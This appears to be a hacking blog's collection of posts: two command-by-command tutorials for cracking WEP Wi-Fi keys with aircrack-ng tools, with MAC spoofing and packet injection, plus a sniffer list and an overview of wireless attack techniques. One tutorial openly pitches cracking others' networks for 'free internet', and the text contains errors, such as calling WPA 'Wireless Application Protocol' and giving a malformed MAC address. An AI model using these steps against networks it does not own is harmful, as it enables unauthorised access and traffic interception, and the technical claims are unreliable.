Cracking WEP

This chapter will teach you how to crack the WEP of a wireless network using Kali step by step. Kali is a free OS available for download at www.kali.org/downloads/. This tutorial is using Kali, but it should work similar in newer versions. Kali is the ultimate security testing OS, and is preloaded with hundreds of tools you can use to hack. We're only going to be using a couple for this tutorial.

What you will need:

• Computer (Windows, Mac, Linux, any OS)
  
• Wireless card that supports promiscuous mode (Most do, if yours isn't compatible you can buy one that is at any computer store. Check compatibility here: http://www.aircrack-ng.org/doku.php?id=compatibility_drivers&DokuWiki=68b8d15896f4851257a33e8133350dd7#which_is_the_best_card_to_buy)
  
• Optional: Flash drive or blank DVD
  

Download the Kali flavor of your choice. You can either boot the OS using VMware within windows, or you can boot backtrack straight off of a DVD or flash drive. Instructions for each of these methods are on the kali website.

Once you have booted up kali . 

Then you should see the desktop.

Open a command terminal. You can do this by clicking the black box icon bottom left corner of the screen.

type in: airmon-ng

Look for the name of your wireless card, its different for a lot of computers, mine is wlan0, so for the rest of this guide thats what i'm going to use. Replace wlan0 in all the following steps with whatever your device name is.

type: airmon-ng stop wlan0

type: macchanger --mac 00:11:22:33:44:55 wlan0

type: airmon-ng start wlan0

type: airodump-ng wlan0

You will now see all of the wifi networks in range. once you found the one you want to hack, press Ctrl + C to stop scanning. Take note of the bssid and channel of the network you want to hack.

type: airodump-ng -c (put the channel # here) -w wephack --bssid (enter bssid here) wlan0

Keep that window open, now open another command terminal and enter the following in the newly opened terminal:

type: aireplay-ng -1 0 -a (enter bssid here) -h 00:11:22:33:44:55 wlan0

type: aireplay-ng -3 -b (enter bssid here) -h 00:11:22:33:44:55 wlan0

Now go back to the 1st window, you'll notice a number steadily increasing. Once its over about 10,000 you can attempt to crack the WEP key. If this doesn't work, wait until the # is even higher, try again at 15,000 and so on

open a new command window and type: aircrack-ng -b (enter bssid) wephack-0.cap

You should now see it attempting to crack the WEP key. This could take up to 5 minutes or so depending on how fast your computer is. When its found the key, it will appear on the screen. You can now log into that network using the WEP on the screen :)

NOTES:

Usually, for this to work flawlessly, someone has to be currently using the internet on the network you're trying to hack, or else it could take awhile for you to get enough packets to crack the WEP.
It is illegal to steal wireless internet. Only try this on your own network. This guide is for educational purposes only. Use at your own risk.


Thank you (zer0w0rm)

READMORE

wireless | wi-fi modem network hacking complete tutorial

 
Many of the friends ask me about how to hack wifi network .so here is the tutorial that will explain how to hack wifi.
 
In our daily life some time our laptop catching so many wi-fi signals but none of them is accessible..and we think “I wish I could some how break the password and access free internet”.
 
if you are thinking like that than this tutorial will definitely help you in cracking password of wi-fi network for free internet.

Tutorial On Hacking Wi-Fi Network


First of all you need to scan for available wireless networks.

you can use“NetStumbler” or "Kismet" for Windows and Linux and KisMac for Mac
Below is a screenshot of NetStumbler.. It will show you a list of all the wireless access points in your range.

It’ll also show how the Wi-fi network is secured..

Now the main par comes The two most common encryption types are:

1) WEP (Wire Equivalent Privacy )

2) WAP(Wireless Application Protocol)


WEP allows a hacker to crack a WEP key easily whereas WAP is currently the most secure and best option to secure a wi-fi network

It can’t be easily cracked as WEP because the only way to retreive a WAP key is to use a brute-force attack or dictionary atack.
How To Crack WEP


This is the practically tested way to hack wi-fi network.

To crack WEP we will be using Live Linux distribution called BackTrack to crack WEP.

BackTrack have lots of preinstalled softwares but for this time
The tools we will be using on Backtrack are:

a)Kismet – a wireless network detector
b)airodump – captures packets from a wireless router
c)aireplay – forges ARP requests
d)aircrack – decrypts the WEP keys

Follow The Steps One By One


1) First of all we have to find a wireless access point along with its bssid, essid and channel number. To do this we will run kismet by opening up the terminal and typing in kismet. It may ask you for the appropriate adapter which in my case is ath0. You can see your device’s name by typing in the command iwconfig.


2) To be able to do some of the later things, your wireless adapter must be put into monitor mode. Kismet automatically does this and as long as you keep it open, your wireless adapter will stay in monitor mode.


3) In kismet you will see the flags Y/N/0. Each one stands for a different type of encryption. In our case we will be looking for access points with the WEP encryption. Y=WEP N=OPEN 0=OTHER(usually WAP).


4) Once you find an access point, open a text document and paste in the networks broadcast name (essid), its mac address (bssid) and its channel number. To get the above information, use the arrow keys to select an access point and hit to get more information about it.

5) The next step is to start collecting data from the access point with airodump. Open up a new terminal and start airodump by typing in the command:

airodump-ng -c [channel#] -w [filename] –bssid [bssid] [device]

In the above command airodump-ng starts the program, the channel of your access point goes after -c , the file you wish to output the data goes after -w , and the MAC address of the access point goes after –bssid. The command ends with the device name. Make sure to leave out the brackets.


6) Leave the above running and open another terminal. Next we will generate some fake packets to the target access point so that the speed of the data output will increase. Put in the following command:

aireplay-ng -1 0 -a [bssid] -h 00:11:22:33:44:55:66 -e [essid] [device]

In the above command we are using the airplay-ng program. The -1 tells the program the specific attack we wish to use which in this case is fake authentication with the access point. The 0 cites the delay between attacks, -a is the MAC address of the target access point, -h is your wireless adapters MAC address, -e is the name (essid) of the target access point, and the command ends with the your wireless adapters device name.


7) Now, we will force the target access point to send out a huge amount of packets that we will be able to take advantage of by using them to attempt to crack the WEP key. Once the following command is executed, check your airodump-ng terminal and you should see the ARP packet count to start to increase. The command is:

aireplay-ng -3 -b [bssid] -h 00:11:22:33:44:5:66 [device]

In this command, the -3 tells the program the specific type of attack which in this case is packet injection, -b is the MAC address of the target access point, -h is your wireless adapters MAC address, and the wireless adapter device name goes at the end.
Once you have collected around 50k-500k packets, you may begin the attempt to break the WEP key. The command to begin the cracking process is:

aircrack-ng -a 1 -b [bssid] -n 128 [filename].ivs

In this command the -a 1 forces the program into the WEP attack mode, the -b is the targets MAC address, and the -n 128 tells the program the WEP key length. If you don’t know the -n , then leave it out. This should crack the WEP key within seconds. The more packets you capture, the bigger chance you have of cracking the WEP key.

Now you have learn how to hack wi-fi network.
This is the most practically way to hack wi-fi network working genuinely.Always put your try and i am sure this tutorial is helpful to you.
please share if if you like and keep viewing zer0w0rm
Thank you (zer0w0rm)

READMORE

Top Packet Sniffers

Here is some site to use packet sniffers 

http://www.wireshark.org/
http://www.kismetwireless.net/
http://www.tcpdump.org/
http://ettercap.sourceforge.net/
http://www.monkey.org/~dugsong/dsniff/
http://www.stumbler.net/
http://www.ntop.org/
http://etherape.sourceforge.net/
http://kismac.de/


Thank you (zer0w0rm)

READMORE

Wireless Hacking Basics

Wireless networks broadcast their packets using radio frequency or optical wavelengths. A modern laptop computer can listen in. Worse, an attacker can manufacture new packets on the fly and persuade wireless stations to accept his packets as legitimate.

The step by step procerdure in wireless hacking can be explained with help of different topics as follows:-

1) Stations and Access Points :  A wireless network interface card (adapter) is a device, called a station, providing the network physical layer over a radio link to another station.
An access point (AP) is a station that provides frame distribution service to stations associated with it.
The AP itself is typically connected by wire to a LAN. Each AP has a 0 to 32 byte long Service Set Identifier (SSID) that is also commonly called a network name. The SSID is used to segment the airwaves for usage.

2) Channels :  The stations communicate with each other using radio frequencies between 2.4 GHz and 2.5 GHz. Neighboring channels are only 5 MHz apart. Two wireless networks using neighboring channels may interfere with each other.

3) Wired Equivalent Privacy (WEP) :  It is a shared-secret key encryption system used to encrypt packets transmitted between a station and an AP. The WEP algorithm is intended to protect wireless communication from eavesdropping. A secondary function of WEP is to prevent unauthorized access to a wireless network. WEP encrypts the payload of data packets. Management and control frames are always transmitted in the clear. WEP uses the RC4 encryption algorithm.

4) Wireless Network Sniffing :  Sniffing is eavesdropping on the network. A (packet) sniffer is a program that intercepts and decodes network traffic broadcast through a medium. It is easier to sniff wireless networks than wired ones. Sniffing can also help find the easy kill as in scanning for open access points that allow anyone to connect, or capturing the passwords used in a connection session that does not even use WEP, or in telnet, rlogin and ftp connections.

5 ) Passive Scanning :  Scanning is the act of sniffing by tuning to various radio channels of the devices. A passive network scanner instructs the wireless card to listen to each channel for a few messages. This does not reveal the presence of the scanner. An attacker can passively scan without transmitting at all.

6) Detection of SSID :  The attacker can discover the SSID of a network usually by passive scanning because the SSID occurs in the following frame types: Beacon, Probe Requests, Probe Responses, Association Requests, and Reassociation Requests. Recall that management frames are always in the clear, even when WEP is enabled.
When the above methods fail, SSID discovery is done by active scanning

7) Collecting the MAC Addresses :  The attacker gathers legitimate MAC addresses for use later in constructing spoofed frames. The source and destination MAC addresses are always in the clear in all the frames.

8) Collecting the Frames for Cracking WEP :  The goal of an attacker is to discover the WEP shared-secret key. The attacker sniffs a large number of frames An example of a WEP cracking tool is AirSnort ( http://airsnort.shmoo.com ).

9) Detection of the Sniffers :  Detecting the presence of a wireless sniffer, who remains radio-silent, through network security measures is virtually impossible. Once the attacker begins probing (i.e., by injecting packets), the presence and the coordinates of the wireless device can be detected.

10) Wireless Spoofing :  There are well-known attack techniques known as spoofing in both wired and wireless networks. The attacker constructs frames by filling selected fields that contain addresses or identifiers with legitimate looking but non-existent values, or with values that belong to others. The attacker would have collected these legitimate values through sniffing.

11) MAC Address Spoofing :  The attacker generally desires to be hidden. But the probing activity injects frames that are observable by system administrators. The attacker fills the Sender MAC Address field of the injected frames with a spoofed value so that his equipment is not identified.

12) IP spoofing :  Replacing the true IP address of the sender (or, in rare cases, the destination) with a different address is known as IP spoofing. This is a necessary operation in many attacks.

13) Frame Spoofing :  The attacker will inject frames that are valid but whose content is carefully spoofed.

14) Wireless Network Probing :  The attacker then sends artificially constructed packets to a target that trigger useful responses. This activity is known as probing or active scanning.

15) AP Weaknesses :  APs have weaknesses that are both due to design mistakes and user interfaces

16) Trojan AP :  An attacker sets up an AP so that the targeted station receives a stronger signal from it than what it receives from a legitimate AP.

17) Denial of Service :  A denial of service (DoS) occurs when a system is not providing services to authorized clients because of resource exhaustion by unauthorized clients. In wireless networks, DoS attacks are difficult to prevent, difficult to stop. An on-going attack and the victim and its clients may not even detect the attacks. The duration of such DoS may range from milliseconds to hours. A DoS attack against an individual station enables session hijacking.

18) Jamming the Air Waves :  A number of consumer appliances such as microwave ovens, baby monitors, and cordless phones operate on the unregulated 2.4GHz radio frequency. An attacker can unleash large amounts of noise using these devices and jam the airwaves so that the signal to noise drops so low, that the wireless LAN ceases to function.

19) War Driving :  Equipped with wireless devices and related tools, and driving around in a vehicle or parking at interesting places with a goal of discovering easy-to-get-into wireless networks is known as war driving. War-drivers (http://www.wardrive.net) define war driving as “The benign act of locating and logging wireless access points while in motion.” This benign act is of course useful to the attackers.
Regardless of the protocols, wireless networks will remain potentially insecure because an attacker can listen in without gaining physical access.

Tips for Wireless Home Network Security

1) Change Default Administrator Passwords (and Usernames)
2) Turn on (Compatible) WPA / WEP Encryption
3) Change the Default SSID
4) Disable SSID Broadcast
5) Assign Static IP Addresses to Devices
6) Enable MAC Address Filtering
7) Turn Off the Network During Extended Periods of Non-Use
8) Position the Router or Access Point Safely 

To know them better, google them.

Thank you (zer0w0rm)

READMORE